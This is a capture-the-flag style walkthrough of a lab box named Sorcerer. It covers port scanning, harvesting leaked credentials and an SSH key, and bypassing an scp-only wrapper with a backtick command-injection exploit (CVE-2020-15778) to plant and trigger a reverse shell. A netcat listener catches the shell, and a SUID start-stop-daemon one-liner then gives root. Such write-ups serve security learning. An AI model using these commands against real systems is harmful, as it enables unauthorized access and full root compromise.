

# Sorcerer (SCP exploit to user, start-stop-daemon to root)

## Nmap

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 81:2a:42:24:b5:90:a1:ce:9b:ac:e7:4e:1d:6d:b4:c6 (RSA)
|   256 d0:73:2a:05:52:7f:89:09:37:76:e3:56:c8:ab:20:99 (ECDSA)
|_  256 3a:2d:de:33:b0:1e:f2:35:0f:8d:c8:d7:8f:f9:e0:0e (ED25519)
80/tcp    open  http      nginx
|_ http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000   2,3,4        111/tcp     rpcbind
|   100000   2,3,4        111/udp     rpcbind
|   100003    3           2049/udp    nfs
|   100003   3,4          2049/tcp    nfs
|   100005   1,2,3        52497/udp   mountd
|   100005   1,2,3        60161/tcp   mountd
|   100021   1,3,4        32949/udp   nlockmgr
|   100021   1,3,4        33055/tcp   nlockmgr
|   100227    3           2049/tcp    nfs_acl
|_  100227    3           2049/udp    nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
PORT      STATE SERVICE VERSION
7742/tcp  open  http      nginx
|_ http-title: SORCERER
33055/tcp open  nlockmgr  1-4 (RPC #100021)
39185/tcp open  mountd    1-3 (RPC #100005)
46183/tcp open  mountd    1-3 (RPC #100005)
60161/tcp open  mountd    1-3 (RPC #100005)
```

## Enumeration

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| <a href="#">../</a>         |                   |      |
| <a href="#">francis.zip</a> | 24-Sep-2020 19:27 | 2834 |
| <a href="#">max.zip</a>     | 24-Sep-2020 19:27 | 8274 |
| <a href="#">miriam.zip</a>  | 24-Sep-2020 19:27 | 2826 |
| <a href="#">sofia.zip</a>   | 24-Sep-2020 19:27 | 2818 |

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Found tomcat creds in Max's home folder.

```
<role rolename="manager-gui"/>
  <user username="tomcat" password="VTUD2XxJjf5LPmu6" roles="manager-gui"/>
</tomcat-users>
```

We also have a list of users:

```
max
sofia
miriam
francis
```

We find max's id\_rsa key along with `scp_wrapper.sh`

```
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
  'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
  *)
    echo "ACCESS DENIED."
    scp
    ;;
esac
```

This script prevents us from using the ssh comand and only allows us to use scp.

Lets test it:

```
scp -O -i .ssh/id_rsa max@192.168.135.100:/etc/passwd
```

```
/root/pg/practice/Sorcerer/passwd.txt
```

This works! and we find a new user, dennis.

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:./nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110:./nonexistent:/usr/sbin/nologin
sshd:x:105:65534:./run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:./usr/sbin/nologin
_rpc:x:106:65534:./run/rpcbind:/usr/sbin/nologin
statd:x:107:65534:./var/lib/nfs:/usr/sbin/nologin
francis:x:1000:1000:./home/francis:/bin/bash
sofia:x:1001:1001:./home/sofia:/bin/bash
miriam:x:1002:1002:./home/miriam:/bin/bash
max:x:1003:1003:./home/max:/bin/bash
dennis:x:1004:1004:./home/dennis:/bin/bash
tomcat:x:1005:1005:./opt/tomcat:/bin/false
```

Now we can see if we can find another user's id\_rsa key. Sadly, we do not find another key and need to find another way in.

## Foothold

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Since we are limited to using SCP, we find an interesting backtick exploit.

<https://github.com/cpandya2909/CVE-2020-15778>

```
scp /sourcefile remoteserver:``touch /tmp/exploit.sh`/targetfile`
```

We can create a malicious payload and send it via SCP while also executing it. I fumbled around with this exploit for a while and decided to overwrite the `scp_wrapper.sh` with a bash revers-shell and then executing it with the backtick method.

We had to also use the `-0` flag with our SCP command or else we get message errors.

```
scp -0 -i .ssh/id_rsa scp_wrapper.sh max@192.168.135.100:/home/max/scp_wrapper.sh  
scp_wrapper.sh
```

```
scp -0 -i .ssh/id_rsa scp_wrapper.sh max@192.168.135.100:``bash  
/home/max/scp_wrapper.sh` `
```

I named the bash shell `scp_wrapper.sh` and overwrote it in max's home directory. The second command executes it and we now have a shell as max.

```
(root@kali) - [~/practice/Sorcerer/max/max]  
# rlwrap nc -lvnp 80  
listening on [any] 80 ...  
connect to [192.168.49.135] from (UNKNOWN) [192.168.135.100] 58622  
sh: 0: can't access tty; job control turned off  
id  
uid=1003(max) gid=1003(max) groups=1003(max)  
$
```

## Priv esc

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SGID & SUID:

```
/usr/sbin/unix_chkpwd  
/usr/bin/crontab  
/usr/bin/wall  
/usr/bin/bsd-write  
/usr/bin/ssh-agent  
/usr/bin/chage  
/usr/bin/dotlockfile  
/usr/bin/expiry  
  
/usr/sbin/mount.nfs
```

```
/usr/sbin/start-stop-daemon
/usr/bin/passwd      --->   Apple_Mac_OSX(03-2006)/Solaris_8/9(12-
2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
/usr/bin/fusermount
/usr/bin/su
/usr/bin/mount       --->   Apple_Mac_OSX(Lion)_Kernel_xnu-
1699.32.7_except_xnu-1699.24.8
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp      --->   HP-UX_10.20
/usr/bin/chfn        --->   SuSE_9.3/10
/usr/bin/umount      --->   BSD/Linux(08-1996)
/usr/bin/gpasswd
/usr/bin/chsh
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

Since we do not have sudo permissions, I checked all of these on gtfobins.

We find an interesting one with `/usr/sbin/start-stop-daemon`

```
/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
```

Now we just need to make sure we can use it against a harmless process. In this case, I used `/usr/sbin/cron` since it is running as root.

```
/usr/sbin/start-stop-daemon -n /usr/sbin/cron -S -x /bin/sh -- -p
```

Now we have effective root privileges.

```
/usr/sbin/start-stop-daemon -n /usr/sbin/cron -S -x /bin/sh -- -p
id
id
uid=1003(max) gid=1003(max) euid=0(root) groups=1003(max)
# █
```